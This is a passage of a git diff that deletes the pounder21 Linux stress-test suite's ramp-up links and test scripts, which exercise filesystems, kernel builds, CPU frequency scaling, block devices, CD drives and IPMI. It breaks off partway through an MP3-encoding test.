diff --git a/tools/pounder21/test_repo/T90ramp/T06rampup b/tools/pounder21/test_repo/T90ramp/T06rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T06rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T07rampup b/tools/pounder21/test_repo/T90ramp/T07rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T07rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T08rampup b/tools/pounder21/test_repo/T90ramp/T08rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T08rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T09rampup b/tools/pounder21/test_repo/T90ramp/T09rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T09rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T10rampup b/tools/pounder21/test_repo/T90ramp/T10rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T10rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T11rampup b/tools/pounder21/test_repo/T90ramp/T11rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T11rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T12rampup b/tools/pounder21/test_repo/T90ramp/T12rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T12rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T13rampup b/tools/pounder21/test_repo/T90ramp/T13rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T13rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T14rampup b/tools/pounder21/test_repo/T90ramp/T14rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T14rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T15rampup b/tools/pounder21/test_repo/T90ramp/T15rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T15rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T16rampup b/tools/pounder21/test_repo/T90ramp/T16rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T16rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T17rampup b/tools/pounder21/test_repo/T90ramp/T17rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T17rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T99runawhile b/tools/pounder21/test_repo/T90ramp/T99runawhile
deleted file mode 100755
index 56f1946..0000000
--- a/tools/pounder21/test_repo/T90ramp/T99runawhile
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-# Run for two days
-sleep 172800
diff --git a/tools/pounder21/test_repo/T90ramp/ramp_wait b/tools/pounder21/test_repo/T90ramp/ramp_wait
deleted file mode 100755
index edddf42..0000000
--- a/tools/pounder21/test_repo/T90ramp/ramp_wait
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bash
-
-sleep 30
diff --git a/tools/pounder21/test_repo/T99screen_blank b/tools/pounder21/test_repo/T99screen_blank
deleted file mode 120000
index 684b876..0000000
--- a/tools/pounder21/test_repo/T99screen_blank
+++ /dev/null
@@ -1 +0,0 @@
-../test_scripts/screen_blank
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/excluded/testlist b/tools/pounder21/test_repo/excluded/testlist
deleted file mode 100644
index 48c7df5..0000000
--- a/tools/pounder21/test_repo/excluded/testlist
+++ /dev/null
@@ -1,7 +0,0 @@
-# The purpose of this file is to keep tabs on
-# which pounder subtests are excluded from the
-# test run. Whenever ./pounder -e subtest-to-exclude
-# is used, the subtest name and path get logged
-# here.
-
-# DO NOT MODIFY THIS FILE.
diff --git a/tools/pounder21/test_scripts/abort.sh b/tools/pounder21/test_scripts/abort.sh
deleted file mode 100755
index 887c669..0000000
--- a/tools/pounder21/test_scripts/abort.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-
-# Abort a test.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-echo "abort.sh: ack! aborting!"
-exit 255
diff --git a/tools/pounder21/test_scripts/bonnie++ b/tools/pounder21/test_scripts/bonnie++
deleted file mode 100755
index abd97de..0000000
--- a/tools/pounder21/test_scripts/bonnie++
+++ /dev/null
@@ -1,81 +0,0 @@
-#!/bin/bash
-
-# Runs the bonnie++ test on filesystems...
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-TEST_PID=$$
-
-# Try to find bonnie++ on the system
-BONNIE=`which bonnie++ 2> /dev/null`
-
-if [ -z "$BONNIE" ]; then
-	BONNIE=`ls $POUNDER_OPTDIR/bonnie++*/bonnie++`
-	if [ -z "$BONNIE" ]; then
-		echo "Cannot find bonnie++; did you run Install?"
-		exit -1
-	fi
-fi
-
-# Note old errors
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(err|fail|invalid|cannot|denied)" $LOGFILE`
-
-# Now figure out where we have mounted filesystems
-MOUNTS=`egrep "(ext|reiser)" /proc/mounts | awk -F " " '{print $2}'`
-
-rm -rf $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-echo '#/bin/bash' > $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-echo >> $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-
-echo $MOUNTS | sed -e 's/ /\n/g' | while read f; do
-	# Clean out space for bonnie
-	rm -rf "$f/bonnie/"
-
-	# Set up for bonnie
-	mkdir -p "$f/bonnie/"
-
-	# Engage!
-	echo $BONNIE -u 0 -d \"$f/bonnie/\" \& >> $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-done
-
-echo wait >> $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-
-# Are we actually going to start any bonnie's?
-if [ `wc -l < $POUNDER_TMPDIR/bonnie-script-$TEST_PID` -lt 4 ]; then
-	echo "Not running bonnie at all.  Abort."
-	exit -1
-fi
-
-bash $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-rm -rf $POUNDER_TMPDIR/bonnie-script-$TEST_PID
-
-# Clean ourselves up
-echo $MOUNTS | sed -e 's/ /\n/g' | while read f; do
-	# Clean out space for bonnie
-	rm -rf "$f/bonnie/"
-done
-
-# Did we find any new errors?
-NEW_ERRORS=`egrep -ic "(err|fail|invalid|cannot|denied)" $LOGFILE`
-ERRORS=$(( NEW_ERRORS - OLD_ERRORS ))
-if [ $ERRORS -eq 255 ]; then
-        ERRORS=254
-fi
-
-exit $ERRORS
diff --git a/tools/pounder21/test_scripts/build_kernel b/tools/pounder21/test_scripts/build_kernel
deleted file mode 100755
index 6dcfdef..0000000
--- a/tools/pounder21/test_scripts/build_kernel
+++ /dev/null
@@ -1,62 +0,0 @@
-#!/bin/bash
-
-# Build Linux kernel
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-CPUS=`grep processor /proc/cpuinfo | wc -l`
-ARCH=`uname -m`
-VERSION=2.6.39
-# WARNING: If you update the kernel version that we use, be sure to
-# update $POUNDER_SRCDIR/memtest.patch, $POUNDER_HOME/test_scripts/memtest,
-# $POUNDER_HOME/test_scripts/build_kernel, and
-# $POUNDER_HOME/build_scripts/build_kernel.
-
-#LOG_ALL_MAKE=1
-
-# Decompress tarball if necessary
-cd "$POUNDER_TMPDIR"
-tar -xvf "$POUNDER_OPTDIR/linux-$VERSION.tar.bz2"
-
-# Clean up the tree.
-cd linux-$VERSION
-
-make mrproper
-
-# Create a config file
-make allmodconfig
-
-# Build system
-if [ $LOG_ALL_MAKE ]; then
-	#Let all ouput flow to the external logging
-	make -j$CPUS oldconfig
-       	time make -j$CPUS
-else
-	#Just log std err
-	make -j$CPUS oldconfig > /dev/null
-	time make -j$CPUS > /dev/null
-fi
-
-# Did we get a kernel image?
-RETCODE=1
-if [ -f vmlinux ]; then
-	RETCODE=0
-fi
-
-exit $RETCODE
diff --git a/tools/pounder21/test_scripts/copy_large_tree b/tools/pounder21/test_scripts/copy_large_tree
deleted file mode 100755
index df325a5..0000000
--- a/tools/pounder21/test_scripts/copy_large_tree
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/bin/bash
-
-# Test the copying of a large directory hierarchy...while deleting it.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-TREE_DEST="$POUNDER_TMPDIR/copytree/"
-
-# Set up the erase
-trap 'echo Cleaning up...; rm -rf "$TREE_DEST"; echo Clean.; exit 0'  1 2 15
-
-# Copy the data
-mkdir -p "$TREE_DEST"
-cp -pRdu /usr "$TREE_DEST"
-
-# Compare the data
-diff -Naur /usr "$TREE_DEST/usr/" | tee "$POUNDER_TMPDIR/copytree.diff"
-
-# Clean up
-rm -rf "$TREE_DEST"
-
-# Anything in the diff?
-DIFF_ERRORS=`wc -l < $POUNDER_TMPDIR/copytree.diff`
-if [ $DIFF_ERRORS -gt 0 ]; then
-        exit $DIFF_ERRORS
-fi
-
-exit 0
diff --git a/tools/pounder21/test_scripts/cpufreq b/tools/pounder21/test_scripts/cpufreq
deleted file mode 100755
index ba94a76..0000000
--- a/tools/pounder21/test_scripts/cpufreq
+++ /dev/null
@@ -1,111 +0,0 @@
-#!/bin/bash
-
-# Cycle the CPUs through various frequencies.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# Do any CPU support cpufreq?
-#CPUFREQ_ENABLED_CPUS=`/bin/ls -lad /sys/devices/system/cpu/cpu*/cpufreq 2> /dev/null | wc -l`
-
-#if [ "$CPUFREQ_ENABLED_CPUS" -lt 1 ]; then
-#	echo "None of your CPUs support cpufreq.  Bye."
-#	exit 255
-#fi
-
-# Turn on acpi_pstate_strict to ensure that state transitions actually happen...
-if [ -f /sys/module/acpi_cpufreq/parameters/acpi_pstate_strict ]; then
-	echo 1 > /sys/module/acpi_cpufreq/parameters/acpi_pstate_strict
-fi
-if [ -f /sys/module/acpi/parameters/acpi_pstate_strict ]; then
-	echo 1 > /sys/module/acpi/parameters/acpi_pstate_strict
-fi
-
-# First, knock off any powersaving daemons...
-for i in `ls /etc/init.d/*powernow /etc/init.d/*cpuspeed* /etc/init.d/*powersave* 2> /dev/null`; do
-	"$i" stop
-done
-
-# Ensure that we have the userspace governor running
-for i in /sys/devices/system/cpu/cpu*; do
-	echo userspace > "$i/cpufreq/scaling_governor"
-done
-
-# Trap ^C
-trap 'kill -9 `pgrep -P $$` `pgrep cpufreq.bin` 2> /dev/null; exit 0' 1 2 15
-
-# Did we see any failures?
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(error|fail|invalid|denied|cannot)" $LOGFILE`
-
-# For all CPUs with cpufreq: remove CPUs that are locked with another.
-function find_cpufreq_cpus() {
-	for cpu in `ls -d /sys/devices/system/cpu/cpu*/cpufreq 2> /dev/null`; do
-		# Locked CPUs are done with symlinks in 2.6.14.
-		if [ -L "$cpu" ]; then
-			continue;
-		fi
-
-		CPU_NUM=`dirname $cpu | sed -e 's/.*cpu//g'`
-		MATCHES=`(cat /sys/devices/system/cpu/cpu*/cpufreq/affected_cpus /dev/null 2> /dev/null | while read car cdr; do echo $cdr; done) | grep "^$CPU_NUM$" -c`
-		if [ $MATCHES -eq 0 ]; then
-			echo $CPU_NUM
-		fi
-	done
-}
-
-# Find the frequencies for a given CPU
-function find_cpu_frequencies() {
-	i="/sys/devices/system/cpu/cpu$1"
-
-	if [ -f "$i/cpufreq/scaling_available_frequencies" ]; then
-		cat "$i/cpufreq/scaling_available_frequencies"
-	else
-		cat "$i/cpufreq/scaling_min_freq" "$i/cpufreq/scaling_max_freq"
-	fi
-}
-
-# Figure out which CPUs have cpufreq support.
-find_cpufreq_cpus | while read f; do
-	echo Starting CPU frequency testing on CPU $f
-	i=/sys/devices/system/cpu/cpu$f
-
-	# Does this CPU have cpufreq?
-	if [ ! -d "$i/cpufreq/" ]; then
-		continue;
-	fi
-
-	# Kick off the test.
-	"$POUNDER_HOME/timed_loop" 900 "$POUNDER_SRCDIR/cpufreq/cpufreq.bin" "$i/cpufreq/scaling_setspeed" 10000 $f `find_cpu_frequencies $f` &
-done
-
-# Wait for this to finish
-while [ `pgrep cpufreq.bin | wc -l` -gt 0 ]; do
-	sleep 5
-done
-
-# Did we see any failures?
-NEW_ERRORS=`egrep -ic "(error|fail|invalid|denied|cannot)" $LOGFILE`
-ERRORS=$(( NEW_ERRORS - OLD_ERRORS ))
-if [ $ERRORS -eq 255 ]; then
-	ERRORS=254
-fi
-
-# Failures will show up in the test output.  Or better yet,
-# panic/oops/BUG the machine.
-exit $ERRORS
diff --git a/tools/pounder21/test_scripts/ddhappy b/tools/pounder21/test_scripts/ddhappy
deleted file mode 100755
index 975998a..0000000
--- a/tools/pounder21/test_scripts/ddhappy
+++ /dev/null
@@ -1,51 +0,0 @@
-#!/bin/bash
-
-# Each CPU reads every block off a block device...twice.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-BLKDEVS=$(cat /proc/partitions | grep [sh]d.[0-9] | awk '{if ($3 > 10000)  print $4}')
-WORK=$((NR_CPUS * 2))
-
-echo "Running dd's on these devices:"
-echo "$BLKDEVS"
-echo "using $WORK dd's per device."
-
-# Did we see any failures?
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(error|fail|invalid|denied|cannot)" $LOGFILE`
-
-for ((k=1; k < $WORK; k++))
-do
-for i in $BLKDEVS
-	do
-		dd if=/dev/$i of=/dev/null bs=2k > /dev/null &
-	done
-done
-
-# Wait for children
-wait
-
-# Did we see any failures?
-NEW_ERRORS=`egrep -ic "(error|fail|invalid|denied|cannot)" $LOGFILE`
-ERRORS=$(( NEW_ERRORS - OLD_ERRORS ))
-if [ $ERRORS -eq 255 ]; then
-	ERRORS=254
-fi
-exit $ERRORS
diff --git a/tools/pounder21/test_scripts/fail.sh b/tools/pounder21/test_scripts/fail.sh
deleted file mode 100755
index 9eedfbb..0000000
--- a/tools/pounder21/test_scripts/fail.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-
-# Fail a test.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-echo "fail.sh: This test failed!"
-exit -324
diff --git a/tools/pounder21/test_scripts/get_hw_info b/tools/pounder21/test_scripts/get_hw_info
deleted file mode 100755
index 7105493..0000000
--- a/tools/pounder21/test_scripts/get_hw_info
+++ /dev/null
@@ -1,87 +0,0 @@
-#!/bin/bash
-
-# Script to collect hardware information
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-echo "Hardware Information for `hostname` at `date`."
-if [ "$UID" -ne 0 ]; then
-	echo "You are not running as root.  Hardware data may be restricted."
-fi
-echo
-echo "dmesg output:"
-echo "============="
-dmesg
-echo
-echo "/proc/cmdline:"
-echo "=============="
-cat /proc/cmdline
-echo
-echo "CPU Information:"
-echo "================"
-cat /proc/cpuinfo
-echo
-echo "DMI Table Dump:"
-echo "==============="
-dmidecode
-echo
-echo "Registered Devices:"
-echo "==================="
-cat /proc/devices
-echo
-echo "Registered DMA Channels:"
-echo "========================"
-cat /proc/dma
-echo
-echo "Registered Interrupts:"
-echo "======================"
-cat /proc/interrupts
-echo
-echo "IO Memory:"
-echo "=========="
-cat /proc/iomem
-echo
-echo "IO Ports:"
-echo "========="
-cat /proc/ioports
-echo
-echo "PCI Device Tree via lspci:"
-echo "=========================="
-lspci -v
-echo
-echo "IDE Device/Driver Info:"
-echo "======================="
-find /proc/ide -type f | while read f; do echo $f; cat $f; done;
-echo
-echo "SCSI Device/Driver Info:"
-echo "========================"
-find /proc/scsi -type f | while read f; do echo $f; cat $f; done;
-echo
-echo "Network Devices:"
-echo "================"
-ifconfig -a
-echo
-echo "Partition Layout:"
-echo "================="
-fdisk -l /dev/sd[a-z] /dev/hd[a-z]
-echo
-echo "sysfs Device Info:"
-echo "=================="
-find /sys -mount -type f | while read f; do echo $f: `cat $f`; done
-
-exit 0
diff --git a/tools/pounder21/test_scripts/ide_cdrom_copy b/tools/pounder21/test_scripts/ide_cdrom_copy
deleted file mode 100755
index f980714..0000000
--- a/tools/pounder21/test_scripts/ide_cdrom_copy
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/bash
-
-# Validate the CD/DVD devices in the system by progressively mounting them,
-# copying the CDs to the hard disk, and then diffing the results.
-# Note that this test also examines SCSI CD drives, making the "ide" part a
-# misnomer that's maintained solely because it's familiar to the users.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-. "$POUNDER_SRCDIR/libidecd.sh"
-
-DEFAULT_MOUNT="$POUNDER_TMPDIR/cdmount"
-DESTINATION="$POUNDER_TMPDIR/cddata"
-
-# Ensure that our default mountpoint and destination dirs exist.
-mkdir -p "$DEFAULT_MOUNT"
-
-# Scoop up the old error count.
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(err|fail|invalid|cannot|denied)" $LOGFILE`
-OLD_DIFFS=`egrep -ic "^---" $LOGFILE`
-
-# Trap a SIGABRT which signifies an aborted test...
-trap 'exit 255' SIGABRT
-
-# Now, mount each disc and do the test.
-find_discs_with_media | while read DEV USE_FSTAB; do
-
-	# Are there no CDs at all?
-	if [ "$DEV" == "NONE" ]; then
-		echo "No CD/DVD drives found.  Aborting."
-		kill -SIGABRT $$
-	fi
-
-	# Mount the disc.
-	echo "Mounting $DEV."
-	if [ $USE_FSTAB -gt 0 ]; then
-		MOUNTPOINT=`grep "^$DEV[ 	]" /etc/fstab | awk -F " " '{print $2}'`
-		mount "$DEV"
-	else
-		MOUNTPOINT="$DEFAULT_MOUNT"
-		mount "$DEV" "$MOUNTPOINT" -t auto
-	fi
-
-	# Create destination and set up auto-removal
-	trap 'echo Cleaning up...; rm -rf $DESTINATION; umount $MOUNTPOINT; echo Clean.; exit 0' 1 2 15
-	mkdir -p "$DESTINATION"
-
-	# Copy the CD
-	echo "Copying $DEV."
-	cp -pRdu "$MOUNTPOINT" "$DESTINATION"
-
-	# Diff the copy
-	echo "Comparing $DEV to $DESTINATION."
-	diff -rq "$MOUNTPOINT" "$DESTINATION/`basename $MOUNTPOINT`"
-
-	# Unmount
-	echo "Done with $DEV."
-	umount "$DEV"
-
-	# Remove the copy
-	rm -rf "$DESTINATION"
-done
-
-
-# Look for new errors.
-NEW_ERRORS=`egrep -ic "(err|fail|invalid|cannot|denied)" $LOGFILE`
-NEW_DIFFS=`egrep -ic "^---" $LOGFILE`
-
-ERRORS=$(( NEW_ERRORS - OLD_ERRORS ))
-DIFFS=$(( NEW_DIFFS - OLD_DIFFS ))
-WRONG=$(( ERRORS + DIFFS ))
-if [ $WRONG -eq 255 ]; then
-	WRONG=254
-fi
-exit $WRONG
diff --git a/tools/pounder21/test_scripts/ipmitool b/tools/pounder21/test_scripts/ipmitool
deleted file mode 100755
index b13dcfb..0000000
--- a/tools/pounder21/test_scripts/ipmitool
+++ /dev/null
@@ -1,127 +0,0 @@
-#!/bin/bash
-
-function runtest() {
-
-	$IPMITOOL $*
-	RETURN=$?
-	if [ $RETURN -ne 0 ]; then
-		echo "Test ipmitool $* failed with code $RETURN."
-		status=$(($status+1))
-	fi
-}
-
-CHECK=`dmidecode | egrep '(Baseboard Management Controller|IPMI)'`
-if [ -z "$CHECK" ]; then
-	echo "BMC is not detected. Aborting."
-	exit 255
-fi
-
-IPMITOOL=`ls $POUNDER_OPTDIR/ipmitool*/src/ipmitool 2> /dev/null`
-if [ -z "$IPMITOOL" ]; then
-	IPMITOOL=`which ipmitool 2> /dev/null`
-	if [ -z "$IPMITOOL" ]; then
-		echo "Cannot find ipmitool; ipmitool utility not installed on system."
-		echo "Please install package containing ipmitool utility and re-run test."
-		exit -1
-	fi
-else
-	IPMITOOL="$POUNDER_OPTDIR/ipmitool*/src/ipmitool"
-fi
-
-status=0
-/etc/init.d/ipmi restart #maybe start
-RETURN=$?
-if [ $RETURN -ne 0 ]; then
-	echo "Could not start driver with code $RETURN."
-	status=$(($status+1))
-	exit $status
-fi
-
-echo
-echo "ipmitool utility version:  "
-runtest -V
-echo
-echo "OpenIPMI Driver version:  "
-dmesg |grep ipmi |grep -i -m 1 version
-echo
-
-runtest bmc info
-if [ $status -eq 0 ]; then
-	BMC2=`$IPMITOOL bmc info | grep "IPMI Version" | cut -b 29`
-	#possibly log this stuff here
-	if [ $BMC2 -ge 2 ]; then
-		runtest firewall info lun 0 netfn 0
-		 		 runtest firewall info lun 0 netfn 1
-		 		 runtest firewall info lun 0 netfn 4
-		 		 runtest firewall info lun 0 netfn 0 command 0
-		 		 runtest firewall info lun 0 netfn 0 command 1
-		 		 runtest firewall info lun 0 netfn 0 command 2
-		 		 runtest firewall info lun 0 netfn 1 command 0
-		 		 runtest firewall info lun 0 netfn 1 command 1
-		 		 runtest firewall info lun 0 netfn 1 command 2
-		 		 runtest firewall info lun 0 netfn 4 command 0
-		 		 runtest firewall info lun 0 netfn 4 command 1
-		 		 runtest firewall info lun 0 netfn 4 command 2
-	 		        runtest firewall disable lun 0 netfn 0 command 2
-		 		 runtest firewall enable lun 0 netfn 0 command 2
-		 		 runtest firewall info lun 0 netfn 0 command 2
-		 		 runtest channel getciphers ipmi 1
-		 		 runtest channel getciphers sol 1
-
-	else
-		echo "BMC is not 2.0 compatible; skipping firewall tests."
-	fi
-fi
-runtest lan print
-runtest bmc getenables
-runtest channel info 0
-runtest channel info 1
-runtest channel info 2
-runtest channel info 14
-runtest channel info 15
-runtest channel authcap 1 1
-runtest channel authcap 1 2
-runtest channel authcap 1 3
-runtest channel authcap 1 4
-runtest channel getaccess 0x1
-runtest channel getaccess 0x2
-runtest chassis status
-runtest chassis identify
-runtest chassis restart_cause
-runtest chassis power status
-runtest pef info
-runtest pef status
-runtest pef list
-runtest sdr info
-runtest sdr list all
-runtest sdr list full
-runtest sdr list compact
-runtest sdr list event
-runtest sdr list mcloc
-runtest sdr list fru
-runtest sdr list generic
-runtest sdr type list
-runtest sdr entity
-runtest sel
-runtest sel info
-runtest sel list
-runtest sel elist
-runtest sel list 5
-runtest sel time get
-runtest sel writeraw testing
-runtest sel readraw testing
-runtest sensor list
-runtest session info all
-runtest session info active
-runtest user summary 0x1
-runtest user summary 0x2
-runtest user list 0x1
-runtest user list 0x2
-
-if [ $status -eq 255 ]; then
-	status=254
-fi
-
-
-
-exit $status
diff --git a/tools/pounder21/test_scripts/lame b/tools/pounder21/test_scripts/lame
deleted file mode 100755
index 9c179f6..0000000
--- a/tools/pounder21/test_scripts/lame
+++ /dev/null
@@ -1,51 +0,0 @@
-#!/bin/bash
-
-# MP3-encode something
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-# Try to find the program on the system
-PROGRAM=lame
-PROGFILE=`which $PROGRAM 2> /dev/null`
-
-if [ -z "$PROGFILE" ]; then
-	PROGFILE=`ls $POUNDER_OPTDIR/$PROGRAM*/frontend/$PROGRAM`
-	if [ -z "$PROGFILE" ]; then
-		echo "Cannot find $PROGRAM; did you run Install?"
-		exit -1
-	fi
-fi
-
-# Can we set processor affinities?
-TASKSET=`which taskset 2> /dev/null`
-if [ -z "$TASKSET" ]; then
-	TASKSET=`ls $POUNDER_OPTDIR/schedutils*/taskset`
-fi
-
-# Attach a process to each CPU
-for ((k=0; k < $NR_CPUS; k++))
-do
-	dd if=/dev/urandom bs=1024k count=200 | "$TASKSET" `echo -en "obase=16\n$((1 << k))\n" | bc` "$PROGFILE" - /dev/null &
